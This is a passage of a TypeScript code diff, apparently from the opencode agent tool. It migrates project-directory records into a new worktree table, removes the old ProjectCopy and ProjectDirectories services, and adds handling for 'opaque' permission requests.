yield* tx.run(`
|
||||
CREATE TABLE \`worktree\` (
|
||||
\`project_id\` text NOT NULL,
|
||||
\`directory\` text NOT NULL,
|
||||
\`strategy\` text,
|
||||
\`time_created\` integer NOT NULL,
|
||||
CONSTRAINT \`worktree_pk\` PRIMARY KEY(\`project_id\`, \`directory\`),
|
||||
CONSTRAINT \`fk_worktree_project_id_project_id_fk\` FOREIGN KEY (\`project_id\`) REFERENCES \`project\`(\`id\`) ON DELETE CASCADE
|
||||
);
|
||||
`)
|
||||
yield* tx.run(`
|
||||
INSERT INTO \`worktree\` (\`project_id\`, \`directory\`, \`strategy\`, \`time_created\`)
|
||||
SELECT
|
||||
\`project_id\`,
|
||||
\`directory\`,
|
||||
CASE
|
||||
WHEN \`strategy\` = 'git_worktree' THEN 'git'
|
||||
WHEN \`strategy\` IS NOT NULL THEN \`strategy\`
|
||||
WHEN \`type\` = 'git_worktree' THEN 'git'
|
||||
END,
|
||||
\`time_created\`
|
||||
FROM \`project_directory\`;
|
||||
`)
|
||||
})
|
||||
},
|
||||
}
|
||||
|
||||
export default migration
|
||||
@@ -225,6 +225,16 @@ const schema: Omit<DatabaseMigration.Migration, "id"> = {
|
||||
\`last_used_at\` integer NOT NULL
|
||||
);
|
||||
`)
|
||||
yield* tx.run(`
|
||||
CREATE TABLE \`worktree\` (
|
||||
\`project_id\` text NOT NULL,
|
||||
\`directory\` text NOT NULL,
|
||||
\`strategy\` text,
|
||||
\`time_created\` integer NOT NULL,
|
||||
CONSTRAINT \`worktree_pk\` PRIMARY KEY(\`project_id\`, \`directory\`),
|
||||
CONSTRAINT \`fk_worktree_project_id_project_id_fk\` FOREIGN KEY (\`project_id\`) REFERENCES \`project\`(\`id\`) ON DELETE CASCADE
|
||||
);
|
||||
`)
|
||||
yield* tx.run(`CREATE UNIQUE INDEX \`event_aggregate_seq_idx\` ON \`event\` (\`aggregate_id\`,\`seq\`);`)
|
||||
yield* tx.run(`CREATE INDEX \`event_aggregate_type_seq_idx\` ON \`event\` (\`aggregate_id\`,\`type\`,\`seq\`);`)
|
||||
yield* tx.run(
|
||||
|
||||
@@ -25,7 +25,7 @@ import { MCP } from "./mcp/index.js"
|
||||
import { Permission } from "./permission.js"
|
||||
import { Plugin } from "./plugin.js"
|
||||
import { PluginSupervisor } from "./plugin/supervisor.js"
|
||||
import { ProjectCopy } from "./project/copy.js"
|
||||
import { Worktree } from "./worktree.js"
|
||||
import { Pty } from "./pty.js"
|
||||
import { Question } from "./question.js"
|
||||
import { Shell } from "./shell.js"
|
||||
@@ -66,8 +66,7 @@ const locationServiceNodes = [
|
||||
AISDK.node,
|
||||
Plugin.node,
|
||||
PluginSupervisor.node,
|
||||
ProjectCopy.node,
|
||||
ProjectCopy.refreshNode,
|
||||
Worktree.refreshNode,
|
||||
FileSystemSearch.node,
|
||||
FileSystem.node,
|
||||
Pty.node,
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
export * as Permission from "./permission.js"
|
||||
|
||||
import { makeLocationNode } from "@opencode-ai/util/effect/app-node"
|
||||
import { Context, Deferred, Effect, Layer, Schema } from "effect"
|
||||
import { Context, Deferred, Effect, Layer, Schema, Struct } from "effect"
|
||||
import { Permission } from "@opencode-ai/schema/permission"
|
||||
import { Bus } from "./bus.js"
|
||||
import { Location } from "./location.js"
|
||||
@@ -23,15 +23,6 @@ export type ID = typeof ID.Type
|
||||
export const Source = Permission.Source
|
||||
export type Source = typeof Source.Type
|
||||
|
||||
const RequestFields = {
|
||||
sessionID: Permission.Request.fields.sessionID,
|
||||
action: Permission.Request.fields.action,
|
||||
resources: Permission.Request.fields.resources,
|
||||
save: Permission.Request.fields.save,
|
||||
metadata: Permission.Request.fields.metadata,
|
||||
source: Permission.Request.fields.source,
|
||||
}
|
||||
|
||||
export const Request = Permission.Request
|
||||
export type Request = typeof Request.Type
|
||||
|
||||
@@ -40,7 +31,7 @@ export type Reply = typeof Reply.Type
|
||||
|
||||
export const AssertInput = Schema.Struct({
|
||||
id: ID.pipe(Schema.optional),
|
||||
...RequestFields,
|
||||
...Struct.omit(Permission.Request.fields, ["id"]),
|
||||
agent: Agent.ID.pipe(Schema.optional),
|
||||
}).annotate({ identifier: "Permission.AssertInput" })
|
||||
export type AssertInput = typeof AssertInput.Type
|
||||
@@ -94,6 +85,16 @@ export function evaluate(action: string, resource: string, ...rulesets: Permissi
|
||||
)
|
||||
}
|
||||
|
||||
function evaluateOpaque(action: string, rules: Permission.Ruleset): Permission.Rule {
|
||||
return (
|
||||
rules.findLast((rule) => Wildcard.match(action, rule.action) && rule.resource === "*") ?? {
|
||||
action,
|
||||
resource: "*",
|
||||
effect: "ask",
|
||||
}
|
||||
)
|
||||
}
|
||||
|
||||
export function merge(...rulesets: Permission.Ruleset[]): Permission.Ruleset {
|
||||
return rulesets.flat()
|
||||
}
|
||||
@@ -178,6 +179,13 @@ const layer = Layer.effect(
|
||||
})
|
||||
|
||||
function denied(input: AssertInput, rules: Permission.Ruleset) {
|
||||
if (input.opaque)
|
||||
return rules.some(
|
||||
(rule) =>
|
||||
rule.effect === "deny" &&
|
||||
Wildcard.match(input.action, rule.action) &&
|
||||
input.resources.some((resource) => resource === "*" || Wildcard.match(resource, rule.resource)),
|
||||
)
|
||||
return input.resources.some((resource) => evaluate(input.action, resource, rules).effect === "deny")
|
||||
}
|
||||
|
||||
@@ -187,9 +195,27 @@ const layer = Layer.effect(
|
||||
|
||||
const evaluateInput = Effect.fnUntraced(function* (input: AssertInput) {
|
||||
const rules = yield* configured(input.sessionID, input.agent)
|
||||
if (input.resources.length === 0) return { effect: "deny" as const, rules }
|
||||
if (denied(input, rules)) return { effect: "deny" as const, rules }
|
||||
const all = [...rules, ...(yield* savedRules())]
|
||||
const effects = input.resources.map((resource) => evaluate(input.action, resource, all).effect)
|
||||
if (
|
||||
input.opaque &&
|
||||
rules.some(
|
||||
(rule) => rule.effect !== "allow" && rule.resource !== "*" && Wildcard.match(input.action, rule.action),
|
||||
)
|
||||
)
|
||||
return { effect: "ask" as const, rules }
|
||||
const saved = yield* savedRules()
|
||||
if (
|
||||
input.opaque &&
|
||||
input.resources.every((resource) =>
|
||||
saved.some((rule) => Wildcard.match(input.action, rule.action) && rule.resource === resource),
|
||||
)
|
||||
)
|
||||
return { effect: "allow" as const, rules: [...rules, ...saved] }
|
||||
const all = [...rules, ...saved]
|
||||
const effects = input.opaque
|
||||
? [evaluateOpaque(input.action, all).effect]
|
||||
: input.resources.map((resource) => evaluate(input.action, resource, all).effect)
|
||||
const effect: Permission.Effect = effects.includes("deny") ? "deny" : effects.includes("ask") ? "ask" : "allow"
|
||||
return { effect, rules: all }
|
||||
})
|
||||
@@ -200,7 +226,8 @@ const layer = Layer.effect(
|
||||
sessionID: input.sessionID,
|
||||
action: input.action,
|
||||
resources: input.resources,
|
||||
save: input.save,
|
||||
save: input.opaque ? input.resources : input.save,
|
||||
opaque: input.opaque,
|
||||
metadata: input.metadata,
|
||||
source: input.source,
|
||||
}
|
||||
@@ -299,21 +326,11 @@ const layer = Layer.effect(
|
||||
pending.delete(input.requestID)
|
||||
if (input.reply !== "always" || !existing.request.save?.length) return
|
||||
|
||||
const rememberedRules = yield* savedRules()
|
||||
for (const [id, item] of pending) {
|
||||
const input = { ...item.request }
|
||||
const rules = yield* configured(item.request.sessionID, item.agent).pipe(
|
||||
const result = yield* evaluateInput({ ...item.request, agent: item.agent }).pipe(
|
||||
Effect.catchTag("Session.NotFoundError", () => Effect.succeed(undefined)),
|
||||
)
|
||||
if (!rules) continue
|
||||
if (denied(input, rules)) continue
|
||||
const effective = [...rules, ...rememberedRules]
|
||||
if (
|
||||
!item.request.resources.every(
|
||||
(resource) => evaluate(item.request.action, resource, effective).effect === "allow",
|
||||
)
|
||||
)
|
||||
continue
|
||||
if (!result || result.effect !== "allow") continue
|
||||
yield* bus.publish(Permission.Event.Replied, {
|
||||
sessionID: item.request.sessionID,
|
||||
requestID: item.request.id,
|
||||
|
||||
@@ -14,7 +14,7 @@ import { Money } from "@opencode-ai/schema/money"
|
||||
import { ConfigProviderOptionsV1 } from "../../v1/config/provider-options.js"
|
||||
import { ConfigV1 } from "../../v1/config/config.js"
|
||||
|
||||
const defaultServer = "https://console.opencode.ai"
|
||||
const defaultServer = "https://opencode.ai/console"
|
||||
const clientID = "opencode-cli"
|
||||
const methodID = Integration.MethodID.make("device")
|
||||
const RemoteResponse = Schema.Struct({ config: ConfigV1.Info })
|
||||
|
||||
@@ -2,20 +2,20 @@ export * as Project from "./project.js"
|
||||
|
||||
import { Context, Effect, Layer, Schema } from "effect"
|
||||
import { ChildProcess } from "effect/unstable/process"
|
||||
import { asc, desc } from "drizzle-orm"
|
||||
import { and, asc, desc, eq } from "drizzle-orm"
|
||||
import path from "path"
|
||||
import { AbsolutePath } from "./schema.js"
|
||||
import { Bus } from "./bus.js"
|
||||
import { Database } from "./database/database.js"
|
||||
import { Event } from "@opencode-ai/schema/project-directories"
|
||||
import { Worktree } from "@opencode-ai/schema/worktree"
|
||||
import { FSUtil } from "@opencode-ai/util/fs-util"
|
||||
import { Git } from "./git.js"
|
||||
import { AppProcess } from "@opencode-ai/util/process"
|
||||
import { makeGlobalNode } from "@opencode-ai/util/effect/app-node"
|
||||
import { Hash } from "@opencode-ai/util/hash"
|
||||
import { ProjectDirectories } from "./project/directories.js"
|
||||
import { ProjectSchema } from "./project/schema.js"
|
||||
import { ProjectTable, upsertProject } from "./project/sql.js"
|
||||
import { WorktreeTable } from "./worktree/sql.js"
|
||||
|
||||
export const ID = ProjectSchema.ID
|
||||
export type ID = ProjectSchema.ID
|
||||
@@ -26,18 +26,9 @@ export type Vcs = ProjectSchema.Vcs
|
||||
export const Current = ProjectSchema.Current
|
||||
export type Current = ProjectSchema.Current
|
||||
|
||||
export const Directory = ProjectSchema.Directory
|
||||
export type Directory = ProjectSchema.Directory
|
||||
|
||||
export const Info = ProjectSchema.Info
|
||||
export interface Info extends Schema.Schema.Type<typeof Info> {}
|
||||
|
||||
export const DirectoriesInput = ProjectSchema.DirectoriesInput
|
||||
export type DirectoriesInput = typeof DirectoriesInput.Type
|
||||
|
||||
export const Directories = ProjectSchema.Directories
|
||||
export type Directories = typeof Directories.Type
|
||||
|
||||
export interface Resolved {
|
||||
readonly previous?: ID
|
||||
readonly id: ID
|
||||
@@ -56,7 +47,6 @@ export const root = Effect.fn("Project.root")(function* (fs: FSUtil.Interface, i
|
||||
|
||||
export interface Interface {
|
||||
readonly list: () => Effect.Effect<ReadonlyArray<Info>>
|
||||
readonly directories: (input: DirectoriesInput) => Effect.Effect<Directories>
|
||||
readonly resolve: (input: AbsolutePath) => Effect.Effect<Resolved>
|
||||
}
|
||||
|
||||
@@ -95,18 +85,19 @@ const layer = Layer.effect(
|
||||
const proc = yield* AppProcess.Service
|
||||
const bus = yield* Bus.Service
|
||||
const db = (yield* Database.Service).db
|
||||
const projectDirectories = yield* ProjectDirectories.Service
|
||||
|
||||
const announcing = new Set<string>()
|
||||
const persist = Effect.fnUntraced(function* (project: Resolved) {
|
||||
yield* upsertProject(db, project).pipe(Effect.orDie)
|
||||
if (!project.vcs) return project
|
||||
const directories: ProjectDirectories.CreateInput[] = [{ projectID: project.id, directory: project.canonical }]
|
||||
const directories: Array<{ projectID: ID; directory: AbsolutePath; strategy?: string }> = [
|
||||
{ projectID: project.id, directory: project.canonical },
|
||||
]
|
||||
if (project.directory !== project.canonical)
|
||||
directories.push({
|
||||
projectID: project.id,
|
||||
directory: project.directory,
|
||||
strategy: project.vcs.type === "git" ? "git_worktree" : undefined,
|
||||
strategy: project.vcs.type === "git" ? "git" : undefined,
|
||||
})
|
||||
// A missing directory row means this directory's resolution is a new durable
|
||||
// fact (copy.ts registers copy directories directly; those never strand
|
||||
@@ -119,11 +110,25 @@ const layer = Layer.effect(
|
||||
if (announcing.has(key)) continue
|
||||
announcing.add(key)
|
||||
yield* Effect.gen(function* () {
|
||||
if (yield* projectDirectories.get({ projectID: item.projectID, directory: item.directory })) return
|
||||
const stored = yield* db
|
||||
.select({ directory: WorktreeTable.directory })
|
||||
.from(WorktreeTable)
|
||||
.where(and(eq(WorktreeTable.project_id, item.projectID), eq(WorktreeTable.directory, item.directory)))
|
||||
.get()
|
||||
.pipe(Effect.orDie)
|
||||
if (stored) return
|
||||
yield* bus.publish(
|
||||
Event.Resolved,
|
||||
Worktree.Event.Resolved,
|
||||
{ projectID: item.projectID, directory: item.directory, previous: project.previous ?? ID.global },
|
||||
{ commit: () => Effect.asVoid(projectDirectories.create(item)) },
|
||||
{
|
||||
commit: () =>
|
||||
db
|
||||
.insert(WorktreeTable)
|
||||
.values({ project_id: item.projectID, directory: item.directory, strategy: item.strategy })
|
||||
.onConflictDoNothing()
|
||||
.run()
|
||||
.pipe(Effect.orDie, Effect.asVoid),
|
||||
},
|
||||
)
|
||||
}).pipe(Effect.ensuring(Effect.sync(() => announcing.delete(key))))
|
||||
}
|
||||
@@ -140,10 +145,6 @@ const layer = Layer.effect(
|
||||
return rows.map(fromRow)
|
||||
})
|
||||
|
||||
const directories = Effect.fn("Project.directories")(function* (input: DirectoriesInput) {
|
||||
return yield* projectDirectories.list(input.projectID)
|
||||
})
|
||||
|
||||
const cached = Effect.fnUntraced(function* (dir: string) {
|
||||
return yield* fs.readFileString(path.join(dir, "opencode")).pipe(
|
||||
Effect.map((value) => value.trim()),
|
||||
@@ -257,12 +258,12 @@ const layer = Layer.effect(
|
||||
return yield* persist({ id: ID.global, directory, canonical: directory, vcs: undefined })
|
||||
})
|
||||
|
||||
return Service.of({ list, directories, resolve })
|
||||
return Service.of({ list, resolve })
|
||||
}),
|
||||
)
|
||||
|
||||
export const node = makeGlobalNode({
|
||||
service: Service,
|
||||
layer: layer,
|
||||
deps: [Bus.node, Database.node, FSUtil.node, Git.node, AppProcess.node, ProjectDirectories.node],
|
||||
deps: [Bus.node, Database.node, FSUtil.node, Git.node, AppProcess.node],
|
||||
})
|
||||
|
||||
@@ -1,35 +0,0 @@
|
||||
import { Effect } from "effect"
|
||||
import { AbsolutePath } from "../schema.js"
|
||||
import { Git } from "../git.js"
|
||||
import { DirectoryUnavailableError, StrategyID, type ListEntry, type Strategy } from "./copy.js"
|
||||
|
||||
export function makeGitWorktreeStrategy(input: {
|
||||
git: Git.Interface
|
||||
canonical: (directory: AbsolutePath) => Effect.Effect<AbsolutePath, DirectoryUnavailableError>
|
||||
}) {
|
||||
return {
|
||||
id: StrategyID.make("git_worktree"),
|
||||
create: Effect.fn("ProjectCopy.GitWorktree.create")(function* (options) {
|
||||
const repository = yield* input.git.repo.discover(options.sourceDirectory)
|
||||
if (!repository) return yield* new DirectoryUnavailableError({ directory: options.sourceDirectory })
|
||||
yield* input.git.worktree.create({ repository, directory: options.directory })
|
||||
return { directory: yield* input.canonical(options.directory) }
|
||||
}),
|
||||
remove: Effect.fn("ProjectCopy.GitWorktree.remove")(function* (options) {
|
||||
const found = yield* input.git.repo.discover(options.directory)
|
||||
if (!found) return yield* new DirectoryUnavailableError({ directory: options.directory })
|
||||
yield* input.git.worktree.remove({ repository: found, directory: options.directory, force: options.force })
|
||||
}),
|
||||
list: Effect.fn("ProjectCopy.GitWorktree.list")(function* (directory) {
|
||||
const found = yield* input.git.repo.discover(directory)
|
||||
if (!found) return yield* new DirectoryUnavailableError({ directory })
|
||||
const entries = yield* input.git.worktree.list(found)
|
||||
return yield* Effect.forEach(entries, (entry) =>
|
||||
input.canonical(entry.directory).pipe(
|
||||
Effect.map((directory) => ({ directory, type: entry.kind === "main" ? "root" : "copy" }) as const),
|
||||
Effect.catchTag("ProjectCopy.DirectoryUnavailableError", () => Effect.succeed(undefined)),
|
||||
),
|
||||
).pipe(Effect.map((items) => items.filter((item): item is ListEntry => item !== undefined)))
|
||||
}),
|
||||
} satisfies Strategy
|
||||
}
|
||||
@@ -1,272 +0,0 @@
|
||||
export * as ProjectCopy from "./copy.js"
|
||||
|
||||
import { Context, Effect, Layer, Schema } from "effect"
|
||||
import path from "path"
|
||||
import { AbsolutePath } from "../schema.js"
|
||||
import { FSUtil } from "@opencode-ai/util/fs-util"
|
||||
import { Git } from "../git.js"
|
||||
import { makeLocationNode } from "@opencode-ai/util/effect/app-node"
|
||||
import { Project } from "../project.js"
|
||||
import { ProjectDirectories } from "./directories.js"
|
||||
import { makeGitWorktreeStrategy } from "./copy-strategies.js"
|
||||
import { Slug } from "../util/slug.js"
|
||||
import { Bus } from "../bus.js"
|
||||
import { Database } from "../database/database.js"
|
||||
import { Location } from "../location.js"
|
||||
import { Event } from "@opencode-ai/schema/project-directories"
|
||||
import { ProjectCopy } from "@opencode-ai/schema/project-copy"
|
||||
|
||||
export const StrategyID = ProjectCopy.StrategyID
|
||||
export type StrategyID = typeof StrategyID.Type
|
||||
|
||||
export const CreateInput = ProjectCopy.CreateInput
|
||||
export type CreateInput = typeof CreateInput.Type
|
||||
|
||||
export const RemoveInput = ProjectCopy.RemoveInput
|
||||
export type RemoveInput = typeof RemoveInput.Type
|
||||
|
||||
export const RefreshInput = Schema.Struct({
|
||||
projectID: Project.ID,
|
||||
}).annotate({ identifier: "ProjectCopy.RefreshInput" })
|
||||
export type RefreshInput = typeof RefreshInput.Type
|
||||
|
||||
export const RefreshResult = Schema.Struct({
|
||||
updated: Schema.Array(AbsolutePath),
|
||||
removed: Schema.Array(AbsolutePath),
|
||||
}).annotate({ identifier: "ProjectCopy.RefreshResult" })
|
||||
export type RefreshResult = typeof RefreshResult.Type
|
||||
|
||||
export const Copy = ProjectCopy.Copy
|
||||
export type Copy = typeof Copy.Type
|
||||
|
||||
export const ListEntry = Schema.Struct({
|
||||
directory: AbsolutePath,
|
||||
type: Schema.Literals(["root", "copy"]),
|
||||
}).annotate({ identifier: "ProjectCopy.ListEntry" })
|
||||
export type ListEntry = typeof ListEntry.Type
|
||||
|
||||
export class SourceDirectoryNotFoundError extends Schema.TaggedErrorClass<SourceDirectoryNotFoundError>()(
|
||||
"ProjectCopy.SourceDirectoryNotFoundError",
|
||||
{ directory: AbsolutePath },
|
||||
) {}
|
||||
|
||||
export class DestinationExistsError extends Schema.TaggedErrorClass<DestinationExistsError>()(
|
||||
"ProjectCopy.DestinationExistsError",
|
||||
{ directory: AbsolutePath },
|
||||
) {}
|
||||
|
||||
export class DirectoryUnavailableError extends Schema.TaggedErrorClass<DirectoryUnavailableError>()(
|
||||
"ProjectCopy.DirectoryUnavailableError",
|
||||
{ directory: AbsolutePath },
|
||||
) {}
|
||||
|
||||
export class InvalidDirectoryError extends Schema.TaggedErrorClass<InvalidDirectoryError>()(
|
||||
"ProjectCopy.InvalidDirectoryError",
|
||||
{ directory: AbsolutePath },
|
||||
) {}
|
||||
|
||||
export class StrategyUnavailableError extends Schema.TaggedErrorClass<StrategyUnavailableError>()(
|
||||
"ProjectCopy.StrategyUnavailableError",
|
||||
{ strategy: StrategyID },
|
||||
) {}
|
||||
|
||||
export type Error =
|
||||
| SourceDirectoryNotFoundError
|
||||
| DestinationExistsError
|
||||
| DirectoryUnavailableError
|
||||
| InvalidDirectoryError
|
||||
| StrategyUnavailableError
|
||||
| Git.WorktreeError
|
||||
|
||||
export interface Strategy {
|
||||
readonly id: StrategyID
|
||||
readonly create: (input: {
|
||||
sourceDirectory: AbsolutePath
|
||||
directory: AbsolutePath
|
||||
}) => Effect.Effect<Copy, Git.WorktreeError | DirectoryUnavailableError>
|
||||
readonly remove: (input: {
|
||||
directory: AbsolutePath
|
||||
force: boolean
|
||||
}) => Effect.Effect<void, Git.WorktreeError | DirectoryUnavailableError>
|
||||
readonly list: (directory: AbsolutePath) => Effect.Effect<ListEntry[], Git.WorktreeError | DirectoryUnavailableError>
|
||||
}
|
||||
|
||||
export { Event }
|
||||
|
||||
export interface Interface {
|
||||
readonly create: (input: CreateInput) => Effect.Effect<Copy, Error>
|
||||
readonly remove: (input: RemoveInput) => Effect.Effect<void, Error>
|
||||
readonly refresh: (input: RefreshInput) => Effect.Effect<RefreshResult, Error>
|
||||
}
|
||||
|
||||
export class Service extends Context.Service<Service, Interface>()("@opencode/ProjectCopy") {}
|
||||
|
||||
export const refreshAfterBoot = Effect.gen(function* () {
|
||||
const location = yield* Location.Service
|
||||
const copies = yield* Service
|
||||
yield* Effect.gen(function* () {
|
||||
yield* Effect.logInfo("project copy refresh started", { projectID: location.project.id })
|
||||
const result = yield* copies.refresh({ projectID: location.project.id })
|
||||
yield* Effect.logInfo("project copy refresh done", {
|
||||
projectID: location.project.id,
|
||||
updated: result.updated,
|
||||
removed: result.removed,
|
||||
})
|
||||
}).pipe(
|
||||
Effect.catchCause((cause) => Effect.logWarning("project copy refresh failed", { cause })),
|
||||
Effect.forkScoped,
|
||||
Effect.asVoid,
|
||||
)
|
||||
})
|
||||
|
||||
const layer = Layer.effect(
|
||||
Service,
|
||||
Effect.gen(function* () {
|
||||
const fs = yield* FSUtil.Service
|
||||
const git = yield* Git.Service
|
||||
const directories = yield* ProjectDirectories.Service
|
||||
const db = (yield* Database.Service).db
|
||||
const bus = yield* Bus.Service
|
||||
|
||||
const changed = Effect.fnUntraced(function* (projectID: Project.ID, update: boolean) {
|
||||
if (update) yield* bus.publish(Event.Updated, { projectID })
|
||||
})
|
||||
|
||||
const canonical = Effect.fnUntraced(function* (input: AbsolutePath) {
|
||||
const resolved = AbsolutePath.make(yield* fs.resolve(input))
|
||||
if (!(yield* fs.isDir(resolved))) return yield* new DirectoryUnavailableError({ directory: input })
|
||||
return resolved
|
||||
})
|
||||
|
||||
const strategy = makeGitWorktreeStrategy({ git, canonical })
|
||||
|
||||
const source = Effect.fnUntraced(function* (input: AbsolutePath, projectID: Project.ID) {
|
||||
const sourceDirectory = yield* canonical(input)
|
||||
if ((yield* directories.get({ projectID, directory: sourceDirectory })) === undefined)
|
||||
return yield* new SourceDirectoryNotFoundError({ directory: sourceDirectory })
|
||||
return sourceDirectory
|
||||
})
|
||||
|
||||
const getStrategy = Effect.fnUntraced(function* (id: StrategyID) {
|
||||
if (id !== strategy.id) return yield* new StrategyUnavailableError({ strategy: id })
|
||||
return strategy
|
||||
})
|
||||
|
||||
const create = Effect.fn("ProjectCopy.create")(function* (input: CreateInput) {
|
||||
const selected = yield* getStrategy(input.strategy)
|
||||
const sourceDirectory = yield* source(input.sourceDirectory, input.projectID)
|
||||
yield* fs.makeDirectory(input.directory, { recursive: true }).pipe(Effect.orDie)
|
||||
const name = input.name ?? Slug.create()
|
||||
let suffix = 1
|
||||
let copyDirectory = AbsolutePath.make(path.join(input.directory, name))
|
||||
while (yield* fs.existsSafe(copyDirectory)) {
|
||||
suffix++
|
||||
if (suffix > 10) return yield* new DestinationExistsError({ directory: copyDirectory })
|
||||
copyDirectory = AbsolutePath.make(path.join(input.directory, `${name}-${suffix}`))
|
||||
}
|
||||
|
||||
const result = yield* selected.create({
|
||||
directory: copyDirectory,
|
||||
sourceDirectory,
|
||||
})
|
||||
yield* changed(
|
||||
input.projectID,
|
||||
yield* directories.create({
|
||||
projectID: input.projectID,
|
||||
directory: result.directory,
|
||||
strategy: input.strategy,
|
||||
behavior: "replace",
|
||||
}),
|
||||
)
|
||||
return result
|
||||
})
|
||||
|
||||
const remove = Effect.fn("ProjectCopy.remove")(function* (input: RemoveInput) {
|
||||
const copyDirectory = yield* canonical(input.directory)
|
||||
const stored = yield* directories.get({ projectID: input.projectID, directory: copyDirectory })
|
||||
if (!stored?.strategy) return yield* new InvalidDirectoryError({ directory: copyDirectory })
|
||||
const strategy = yield* getStrategy(StrategyID.make(stored.strategy))
|
||||
yield* strategy.remove({
|
||||
directory: copyDirectory,
|
||||
force: input.force,
|
||||
})
|
||||
yield* changed(
|
||||
input.projectID,
|
||||
yield* directories.remove({ projectID: input.projectID, directory: copyDirectory }),
|
||||
)
|
||||
})
|
||||
|
||||
const refresh = Effect.fn("ProjectCopy.refresh")(function* (input: RefreshInput) {
|
||||
const stored = yield* directories.list(input.projectID)
|
||||
const checked = yield* Effect.forEach(
|
||||
stored,
|
||||
(item) => fs.isDir(item.directory).pipe(Effect.map((exists) => ({ ...item, exists }))),
|
||||
{ concurrency: "unbounded" },
|
||||
)
|
||||
const sourceDirectories = checked
|
||||
.filter((item) => item.strategy === undefined && item.exists)
|
||||
.map((item) => item.directory)
|
||||
const discovered = yield* Effect.forEach(
|
||||
sourceDirectories,
|
||||
(sourceDirectory) =>
|
||||
strategy.list(sourceDirectory).pipe(
|
||||
Effect.catchTag("ProjectCopy.DirectoryUnavailableError", () => Effect.succeed([])),
|
||||
Effect.map((items) =>
|
||||
items.map((item) => ({
|
||||
directory: item.directory,
|
||||
strategy: item.type === "copy" ? strategy.id : undefined,
|
||||
})),
|
||||
),
|
||||
),
|
||||
{ concurrency: "unbounded" },
|
||||
).pipe(
|
||||
Effect.map((sets) => new Map(sets.flat().map((item) => [item.directory, item] as const)).values().toArray()),
|
||||
)
|
||||
const removed = checked.filter((item) => !item.exists).map((item) => item.directory)
|
||||
const result = yield* db
|
||||
.transaction((tx) =>
|
||||
Effect.all({
|
||||
updated: Effect.forEach(discovered, (item) =>
|
||||
directories.create(
|
||||
{
|
||||
projectID: input.projectID,
|
||||
directory: item.directory,
|
||||
strategy: item.strategy,
|
||||
behavior: "replace",
|
||||
},
|
||||
tx,
|
||||
),
|
||||
),
|
||||
removed: Effect.forEach(removed, (directory) =>
|
||||
directories.remove({ projectID: input.projectID, directory }, tx),
|
||||
),
|
||||
}),
|
||||
)
|
||||
.pipe(Effect.orDie)
|
||||
const changes = {
|
||||
updated: discovered.filter((_, index) => result.updated[index]).map((item) => item.directory),
|
||||
removed: removed.filter((_, index) => result.removed[index]),
|
||||
}
|
||||
yield* changed(input.projectID, changes.updated.length > 0 || changes.removed.length > 0)
|
||||
return changes
|
||||
})
|
||||
|
||||
return Service.of({
|
||||
create,
|
||||
remove,
|
||||
refresh,
|
||||
})
|
||||
}),
|
||||
)
|
||||
|
||||
export const node = makeLocationNode({
|
||||
service: Service,
|
||||
layer: layer,
|
||||
deps: [FSUtil.node, Git.node, ProjectDirectories.node, Bus.node, Database.node],
|
||||
})
|
||||
|
||||
export const refreshNode = makeLocationNode({
|
||||
name: "project-copy-refresh",
|
||||
layer: Layer.effectDiscard(refreshAfterBoot),
|
||||
deps: [node, Location.node],
|
||||
})
|
||||
@@ -1,128 +0,0 @@
|
||||
export * as ProjectDirectories from "./directories.js"
|
||||
|
||||
import { and, asc, desc, eq, isNotNull, isNull, ne, or } from "drizzle-orm"
|
||||
import { Context, Effect, Layer, Schema } from "effect"
|
||||
import { Database } from "../database/database.js"
|
||||
import { makeGlobalNode } from "@opencode-ai/util/effect/app-node"
|
||||
import { AbsolutePath } from "../schema.js"
|
||||
import { ProjectSchema } from "./schema.js"
|
||||
import { ProjectDirectoryTable } from "./sql.js"
|
||||
import type { EffectDrizzleSqlite } from "../database/drizzle.js"
|
||||
import type { Project } from "../project.js"
|
||||
|
||||
export type Directory = Project.Directory
|
||||
|
||||
export const CreateInput = Schema.Struct({
|
||||
projectID: ProjectSchema.ID,
|
||||
directory: AbsolutePath,
|
||||
strategy: Schema.optional(Schema.String),
|
||||
behavior: Schema.Literals(["ignore", "replace"]).pipe(Schema.optional),
|
||||
})
|
||||
export type CreateInput = typeof CreateInput.Type
|
||||
|
||||
export const RemoveInput = Schema.Struct({
|
||||
projectID: ProjectSchema.ID,
|
||||
directory: AbsolutePath,
|
||||
})
|
||||
export type RemoveInput = typeof RemoveInput.Type
|
||||
|
||||
type DatabaseClient = EffectDrizzleSqlite.EffectSQLiteDatabase
|
||||
export type Transaction = Parameters<Parameters<DatabaseClient["transaction"]>[0]>[0]
|
||||
|
||||
export const ListInput = ProjectSchema.DirectoriesInput
|
||||
export type ListInput = typeof ListInput.Type
|
||||
|
||||
export const ListOutput = ProjectSchema.Directories
|
||||
export type ListOutput = typeof ListOutput.Type
|
||||
|
||||
export interface Interface {
|
||||
readonly list: (projectID: ProjectSchema.ID) => Effect.Effect<ReadonlyArray<Directory>>
|
||||
readonly get: (input: {
|
||||
projectID: ProjectSchema.ID
|
||||
directory: AbsolutePath
|
||||
}) => Effect.Effect<Directory | undefined>
|
||||
readonly create: (input: CreateInput, tx?: Transaction) => Effect.Effect<boolean>
|
||||
readonly remove: (input: RemoveInput, tx?: Transaction) => Effect.Effect<boolean>
|
||||
}
|
||||
|
||||
export class Service extends Context.Service<Service, Interface>()("@opencode/ProjectDirectories") {}
|
||||
|
||||
const layer = Layer.effect(
|
||||
Service,
|
||||
Effect.gen(function* () {
|
||||
const db = (yield* Database.Service).db
|
||||
|
||||
const create = Effect.fn("ProjectDirectories.create")(function* (input: CreateInput, tx?: Transaction) {
|
||||
const insert = (tx ?? db)
|
||||
.insert(ProjectDirectoryTable)
|
||||
.values({ project_id: input.projectID, directory: input.directory, strategy: input.strategy })
|
||||
const query =
|
||||
input.behavior === "replace"
|
||||
? insert.onConflictDoUpdate({
|
||||
target: [ProjectDirectoryTable.project_id, ProjectDirectoryTable.directory],
|
||||
set: { strategy: input.strategy ?? null },
|
||||
setWhere: input.strategy
|
||||
? or(isNull(ProjectDirectoryTable.strategy), ne(ProjectDirectoryTable.strategy, input.strategy))
|
||||
: isNotNull(ProjectDirectoryTable.strategy),
|
||||
})
|
||||
: insert.onConflictDoNothing()
|
||||
return (
|
||||
(yield* query.returning({ directory: ProjectDirectoryTable.directory }).get().pipe(Effect.orDie)) !== undefined
|
||||
)
|
||||
})
|
||||
|
||||
const remove = Effect.fn("ProjectDirectories.remove")(function* (input: RemoveInput, tx?: Transaction) {
|
||||
return (
|
||||
(yield* (tx ?? db)
|
||||
.delete(ProjectDirectoryTable)
|
||||
.where(
|
||||
and(
|
||||
